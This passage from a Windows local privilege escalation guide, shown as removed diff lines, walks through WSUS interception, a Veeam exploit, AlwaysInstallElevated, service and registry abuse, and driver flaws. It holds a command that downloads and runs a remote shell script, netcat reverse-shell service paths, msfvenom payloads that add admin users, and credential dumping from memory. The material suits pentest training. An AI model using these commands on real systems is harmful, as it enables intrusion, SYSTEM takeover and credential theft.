-reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
-reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
-reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
-reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
-```
-
-Logging events for the Script Block can be located within the Windows Event Viewer at the path: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
-To view the last 20 events you can use:
-
-```bash
-Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
-```
-
-### Internet Settings
-
-```bash
-reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
-reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
-```
-
-### Drives
-
-```bash
-wmic logicaldisk get caption || fsutil fsinfo drives
-wmic logicaldisk get caption,description,providername
-Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
-```
-
-## WSUS
-
-You can compromise the system if the updates are not requested using http**S** but http.
-
-You start by checking if the network uses a non-SSL WSUS update by running the following in cmd:
-
-```
-reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
-```
-
-Or the following in PowerShell:
-
-```
-Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
-```
-
-If you get a reply such as one of these:
-
-```bash
-HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
-      WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
-```
-```bash
-WUServer     : http://xxxx-updxx.corp.internal.com:8530
-PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
-PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
-PSChildName  : windowsupdate
-PSDrive      : HKLM
-PSProvider   : Microsoft.PowerShell.Core\Registry
-```
-
-And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`.
-
-Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored.
-
-In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
-
-Read the research here:
-
-{{#file}}
-CTX_WSUSpect_White_Paper (1).pdf
-{{#endfile}}
-
-**WSUS CVE-2020-1013**
-
-[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
-Basically, this is the flaw that this bug exploits:
-
-> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset.
->
-> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
-
-You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
-
-## Third-Party Auto-Updaters and Agent IPC (local privesc)
-
-Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
-
-
-{{#ref}}
-abusing-auto-updaters-and-ipc.md
-{{#endref}}
-
-## Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
-
-Veeam B&R < `11.0.1.1261` exposes a localhost service on **TCP/9401** that processes attacker-controlled messages, allowing arbitrary commands as **NT AUTHORITY\SYSTEM**.
-
-- **Recon**: confirm the listener and version, e.g., `netstat -ano | findstr 9401` and `(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion`.
-- **Exploit**: place a PoC such as `VeeamHax.exe` with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:
-
-```powershell
-.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
-```
-
-The service executes the command as SYSTEM.
-## KrbRelayUp
-
-A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.
-
-Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
-
-For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
-
-## AlwaysInstallElevated
-
-**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**.
-
-```bash
-reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-```
-
-### Metasploit payloads
-
-```bash
-msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
-msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
-```
-
-If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`**
-
-### PowerUP
-
-Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
-
-```
-Write-UserAddMSI
-```
-
-Just execute the created binary to escalate privileges.
-
-### MSI Wrapper
-
-Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines**
-
-
-{{#ref}}
-msi-wrapper.md
-{{#endref}}
-
-### Create MSI with WIX
-
-
-{{#ref}}
-create-msi-with-wix.md
-{{#endref}}
-
-### Create MSI with Visual Studio
-
-- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe`
-- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**.
-- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**.
-- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**.
-- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**.
-  - There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate.
-- Right-click the project and select **View > Custom Actions**.
-- Right-click **Install** and select **Add Custom Action**.
-- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run.
-- Under the **Custom Action Properties**, change **Run64Bit** to **True**.
-- Finally, **build it**.
-  - If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64.
-
-### MSI Installation
-
-To execute the **installation** of the malicious `.msi` file in **background:**
-
-```
-msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
-```
-
-To exploit this vulnerability you can use: _exploit/windows/local/always_install_elevated_
-
-## Antivirus and Detectors
-
-### Audit Settings
-
-These settings decide what is being **logged**, so you should pay attention
-
-```
-reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
-```
-
-### WEF
-
-Windows Event Forwarding, is interesting to know where are the logs sent
-
-```bash
-reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
-```
-
-### LAPS
-
-**LAPS** is designed for the **management of local Administrator passwords**, ensuring that each password is **unique, randomised, and regularly updated** on computers joined to a domain. These passwords are securely stored within Active Directory and can only be accessed by users who have been granted sufficient permissions through ACLs, allowing them to view local admin passwords if authorized.
-
-
-{{#ref}}
-../active-directory-methodology/laps.md
-{{#endref}}
-
-### WDigest
-
-If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\
-[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
-
-```bash
-reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
-```
-
-### LSA Protection
-
-Starting with **Windows 8.1**, Microsoft introduced enhanced protection for the Local Security Authority (LSA) to **block** attempts by untrusted processes to **read its memory** or inject code, further securing the system.\
-[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
-
-```bash
-reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
-```
-
-### Credentials Guard
-
-**Credential Guard** wasn introduced in **Windows 10**. Its purpose is to safeguard the credentials stored on a device against threats like pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
-
-```bash
-reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
-```
-
-### Cached Credentials
-
-**Domain credentials** are authenticated by the **Local Security Authority** (LSA) and utilized by operating system components. When a user's logon data is authenticated by a registered security package, domain credentials for the user are typically established.\
-[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
-
-```bash
-reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
-```
-
-## Users & Groups
-
-### Enumerate Users & Groups
-
-You should check if any of the groups where you belong have interesting permissions
-
-```bash
-# CMD
-net users %username% #Me
-net users #All local users
-net localgroup #Groups
-net localgroup Administrators #Who is inside Administrators group
-whoami /all #Check the privileges
-
-# PS
-Get-WmiObject -Class Win32_UserAccount
-Get-LocalUser | ft Name,Enabled,LastLogon
-Get-ChildItem C:\Users -Force | select Name
-Get-LocalGroupMember Administrators | ft Name, PrincipalSource
-```
-
-### Privileged groups
-
-If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here:
-
-
-{{#ref}}
-../active-directory-methodology/privileged-groups-and-token-privileges.md
-{{#endref}}
-
-### Token manipulation
-
-**Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Check the following page to **learn about interesting tokens** and how to abuse them:
-
-
-{{#ref}}
-privilege-escalation-abusing-tokens.md
-{{#endref}}
-
-### Logged users / Sessions
-
-```bash
-qwinsta
-klist sessions
-```
-
-### Home folders
-
-```bash
-dir C:\Users
-Get-ChildItem C:\Users
-```
-
-### Password Policy
-
-```bash
-net accounts
-```
-
-### Get the content of the clipboard
-
-```bash
-powershell -command "Get-Clipboard"
-```
-
-## Running Processes
-
-### File and Folder Permissions
-
-First of all, listing the processes **check for passwords inside the command line of the process**.\
-Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking/index.html):
-
-```bash
-Tasklist /SVC #List processes running and services
-tasklist /v /fi "username eq system" #Filter "system" processes
-
-#With allowed Usernames
-Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
-
-#Without usernames
-Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
-```
-
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md).
-
-**Checking permissions of the processes binaries**
-
-```bash
-for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
-	for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
-		icacls "%%z"
-2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
-	)
-)
-```
-
-**Checking permissions of the folders of the processes binaries (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
-
-```bash
-for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
-"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
-	icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
-todos %username%" && echo.
-)
-```
-
-### Memory Password mining
-
-You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials.
-
-```bash
-procdump.exe -accepteula -ma <proc_name_tasklist>
-```
-
-### Insecure GUI apps
-
-**Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.**
-
-Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
-
-## Services
-
-Service Triggers let Windows start a service when certain conditions occur (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Even without SERVICE_START rights you can often start privileged services by firing their triggers. See enumeration and activation techniques here:
-
--
-{{#ref}}
-service-triggers.md
-{{#endref}}
-
-Get a list of services:
-
-```bash
-net start
-wmic service list brief
-sc query
-Get-Service
-```
-
-### Permissions
-
-You can use **sc** to get information of a service
-
-```bash
-sc qc <service_name>
-```
-
-It is recommended to have the binary **accesschk** from _Sysinternals_ to check the required privilege level for each service.
-
-```bash
-accesschk.exe -ucqv <Service_Name> #Check rights for different groups
-```
-
-It is recommended to check if "Authenticated Users" can modify any service:
-
-```bash
-accesschk.exe -uwcqv "Authenticated Users" * /accepteula
-accesschk.exe -uwcqv %USERNAME% * /accepteula
-accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
-accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
-```
-
-[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
-
-### Enable service
-
-If you are having this error (for example with SSDPSRV):
-
-_System error 1058 has occurred._\
-_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
-
-You can enable it using
-
-```bash
-sc config SSDPSRV start= demand
-sc config SSDPSRV obj= ".\LocalSystem" password= ""
-```
-
-**Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)**
-
-**Another workaround** of this problem is running:
-
-```
-sc.exe config usosvc start= auto
-```
-
-### **Modify service binary path**
-
-In the scenario where the "Authenticated users" group possesses **SERVICE_ALL_ACCESS** on a service, modification of the service's executable binary is possible. To modify and execute **sc**:
-
-```bash
-sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
-sc config <Service_Name> binpath= "net localgroup administrators username /add"
-sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
-
-sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
-```
-
-### Restart service
-
-```bash
-wmic service NAMEOFSERVICE call startservice
-net stop [service name] && net start [service name]
-```
-
-Privileges can be escalated through various permissions:
-
-- **SERVICE_CHANGE_CONFIG**: Allows reconfiguration of the service binary.
-- **WRITE_DAC**: Enables permission reconfiguration, leading to the ability to change service configurations.
-- **WRITE_OWNER**: Permits ownership acquisition and permission reconfiguration.
-- **GENERIC_WRITE**: Inherits the ability to change service configurations.
-- **GENERIC_ALL**: Also inherits the ability to change service configurations.
-
-For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized.
-
-### Services binaries weak permissions
-
-If a service runs as **`LocalSystem`**, **`LocalService`**, **`NetworkService`**, or a privileged domain account, but **low-privileged users can modify the service EXE or its parent folder**, the service can often be hijacked by **replacing the binary and restarting the service**.
-
-**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
-You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**:
-
-```bash
-for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
-
-for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
-```
-
-You can also use **sc** and **icacls**:
-
-```bash
-sc qc <service_name>
-icacls "C:\path\to\service.exe"
-
-sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
-FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
-FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
-```
-
-Look for dangerous ACLs granted to **`Everyone`**, **`BUILTIN\Users`**, or **`Authenticated Users`**, especially **`(F)`**, **`(M)`**, or **`(W)`** on the service executable or on the directory containing it. A practical abuse flow is:
-
-1. Confirm the service account and executable path with `sc qc <service_name>`.
-2. Confirm that the binary is writable with `icacls <path>`.
-3. Replace the service binary with a payload or a valid malicious service binary.
-4. Restart the service with `sc stop <service_name> && sc start <service_name>` (or wait for a reboot / service trigger).
-
-Useful automated checks:
-
-```powershell
-. .\PowerUp.ps1
-Get-ModifiableServiceFile -Verbose
-
-SharpUp.exe audit ModifiableServiceBinaries
-. .\PrivescCheck.ps1
-Invoke-PrivescCheck -Extended -Audit
-```
-
-> If the service does not allow a normal user to restart it, check whether it starts automatically on boot, has a failure action that relaunches it, or can be triggered indirectly by the application using it.
-
-### Services registry modify permissions
-
-You should check if you can modify any service registry.\
-You can **check** your **permissions** over a service **registry** doing:
-
-```bash
-reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
-
-#Try to write every service with its current content (to check if you have write permissions)
-for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
-
-get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
-```
-
-It should be checked whether **Authenticated Users** or **NT AUTHORITY\INTERACTIVE** possess `FullControl` permissions. If so, the binary executed by the service can be altered.
-
-To change the Path of the binary executed:
-
-```bash
-reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
-```
-
-### Registry symlink race to arbitrary HKLM value write (ATConfig)
-
-Some Windows Accessibility features create per-user **ATConfig** keys that are later copied by a **SYSTEM** process into an HKLM session key. A registry **symbolic link race** can redirect that privileged write into **any HKLM path**, giving an arbitrary HKLM **value write** primitive.
-
-Key locations (example: On-Screen Keyboard `osk`):
-
-- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs` lists installed accessibility features.
-- `HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature>` stores user-controlled configuration.
-- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature>` is created during logon/secure-desktop transitions and is writable by the user.
-
-Abuse flow (CVE-2026-24291 / ATConfig):
-
-1. Populate the **HKCU ATConfig** value you want to be written by SYSTEM.
-2. Trigger the secure-desktop copy (e.g., **LockWorkstation**), which starts the AT broker flow.
-3. **Win the race** by placing an **oplock** on `C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml`; when the oplock fires, replace the **HKLM Session ATConfig** key with a **registry link** to a protected HKLM target.
-4. SYSTEM writes the attacker-chosen value to the redirected HKLM path.
-
-Once you have arbitrary HKLM value write, pivot to LPE by overwriting service configuration values:
-
-- `HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath` (EXE/command line)
-- `HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll` (DLL)
-
-Pick a service that a normal user can start (e.g., **`msiserver`**) and trigger it after the write. **Note:** the public exploit implementation **locks the workstation** as part of the race.
-
-Example tooling (RegPwn BOF / standalone):
-
-```bash
-beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
-beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
-net start msiserver
-```
-
-### Services registry AppendData/AddSubdirectory permissions
-
-If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:**
-
-
-{{#ref}}
-appenddata-addsubdirectory-permission-over-service-registry.md
-{{#endref}}
-
-### Unquoted Service Paths
-
-If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
-
-For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute:
-
-```bash
-C:\Program.exe
-C:\Program Files\Some.exe
-C:\Program Files\Some Folder\Service.exe
-```
-
-List all unquoted service paths, excluding those belonging to built-in Windows services:
-
-```bash
-wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
-wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services
-
-# Using PowerUp.ps1
-Get-ServiceUnquoted -Verbose
-```
-
-```bash
-for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
-	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
-		echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
-	)
-)
-```
-
-```bash
-gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
-```
-
-**You can detect and exploit** this vulnerability with metasploit: `exploit/windows/local/trusted\_service\_path` You can manually create a service binary with metasploit:
-
-```bash
-msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
-```
-
-### Recovery Actions
-
-Windows allows users to specify actions to be taken if a service fails. This feature can be configured to point to a binary. If this binary is replaceable, privilege escalation might be possible. More details can be found in the [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
-
-## Applications
-
-### Installed Applications
-
-Check **permissions of the binaries** (maybe you can overwrite one and escalate privileges) and of the **folders** ([DLL Hijacking](dll-hijacking/index.html)).
-
-```bash
-dir /a "C:\Program Files"
-dir /a "C:\Program Files (x86)"
-reg query HKEY_LOCAL_MACHINE\SOFTWARE
-
-Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
-Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
-```
-
-### Write Permissions
-
-Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
-
-A way to find weak folder/files permissions in the system is doing:
-
-```bash
-accesschk.exe /accepteula
-# Find all weak folder permissions per drive.
-accesschk.exe -uwdqs Users c:\
-accesschk.exe -uwdqs "Authenticated Users" c:\
-accesschk.exe -uwdqs "Everyone" c:\
-# Find all weak file permissions per drive.
-accesschk.exe -uwqs Users c:\*.*
-accesschk.exe -uwqs "Authenticated Users" c:\*.*
-accesschk.exe -uwdqs "Everyone" c:\*.*
-```
-
-```bash
-icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
-icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
-```
-
-```bash
-Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
-
-Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
-```
-
-### Notepad++ plugin autoload persistence/execution
-
-Notepad++ autoloads any plugin DLL under its `plugins` subfolders. If a writable portable/copy install is present, dropping a malicious plugin gives automatic code execution inside `notepad++.exe` on every launch (including from `DllMain` and plugin callbacks).
-
-{{#ref}}
-notepad-plus-plus-plugin-autoload-persistence.md
-{{#endref}}
-
-### Run at startup
-
-**Check if you can overwrite some registry or binary that is going to be executed by a different user.**\
-**Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**:
-
-
-{{#ref}}
-privilege-escalation-with-autorun-binaries.md
-{{#endref}}
-
-### Drivers
-
-Look for possible **third party weird/vulnerable** drivers
-
-```bash
-driverquery
-driverquery.exe /fo table
-driverquery /SI
-```
-
-If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
-
-{{#ref}}
-arbitrary-kernel-rw-token-theft.md
-{{#endref}}
-
-For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
-
-{{#ref}}
-kernel-race-condition-object-manager-slowdown.md
-{{#endref}}
-
-#### Registry hive memory corruption primitives
-
-Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:
-
-{{#ref}}
-windows-registry-hive-exploitation.md
-{{#endref}}
-
-#### `RtlQueryRegistryValues` direct-mode type confusion from attacker-controlled paths
-
-Some drivers accept a registry path from userland, validate only that it is a sane UTF-16 string, and then call `RtlQueryRegistryValues(RTL_REGISTRY_ABSOLUTE, userPath, ...)` with `RTL_QUERY_REGISTRY_DIRECT` into a stack scalar such as `int readValue`. If `RTL_QUERY_REGISTRY_TYPECHECK` is missing, `EntryContext` is interpreted according to the **actual** registry type, not the type the developer expected.
-
-This creates two useful primitives:
-
-- **Confused deputy / oracle**: a user-controlled absolute `\Registry\...` path lets the driver query attacker-chosen keys, leak existence through return codes/logs, and sometimes read values the caller could not access directly.
-- **Kernel memory corruption**: a scalar destination such as `&readValue` becomes type-confused as a `REG_QWORD`, `UNICODE_STRING`, or sized binary buffer depending on the registry value type.
-
-Practical exploitation notes:
-
-- **Windows 8+ mitigation**: if the query hits an **untrusted hive** with `RTL_QUERY_REGISTRY_DIRECT` but without `RTL_QUERY_REGISTRY_TYPECHECK`, kernel callers crash with `KERNEL_SECURITY_CHECK_FAILURE (0x139)`. To keep exploitability, look for **attacker-writable keys inside trusted system hives** instead of staging values under `HKCU`.
-- **Trusted-hive staging**: use NtObjectManager to enumerate writable descendants of `\Registry\Machine`, and re-run the scan with a duplicated **low-integrity** token to find keys reachable from sandboxed contexts:
-
-```powershell
-Get-AccessibleKey \Registry\Machine -Recurse -Access SetValue
-$token = Get-NtToken -Primary -Duplicate -IntegrityLevel Low
-Get-AccessibleKey \Registry\Machine -Recurse -Access SetValue -Token $token
-```
-
-- **`REG_QWORD`**: an 8-byte direct write into a 4-byte `int` corrupts adjacent stack data and can partially overwrite a nearby callback/function pointer.
-- **`REG_SZ` / `REG_EXPAND_SZ`**: direct mode expects `EntryContext` to point to a `UNICODE_STRING`. If the code first loads an attacker-controlled `REG_DWORD` into a stack scalar and then reuses that same buffer for a string read, the attacker controls `Length`/`MaximumLength` and partially influences the `Buffer` pointer, yielding a semi-controlled kernel write.
-- **`REG_BINARY`**: for large binary data, direct mode treats the first `LONG` at `EntryContext` as a signed buffer size. If a prior `REG_DWORD` read leaves a **negative** attacker-controlled value in the reused scalar, the next `REG_BINARY` query copies attacker bytes directly over adjacent stack slots, which is often the cleanest path to full callback-pointer overwrite.
-
-Strong hunting pattern: **heterogeneous registry reads into the same stack variable without reinitializing it**. Grep for `RTL_REGISTRY_ABSOLUTE`, `RTL_QUERY_REGISTRY_DIRECT`, reused `EntryContext` pointers, and code paths where the first registry read controls whether a second read happens.
-
-#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
-
-Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
-
-- \\ .\\DeviceName\\anything
-- \\ .\\amsdk\\anyfile (from a real-world case)
-
-Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
-- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
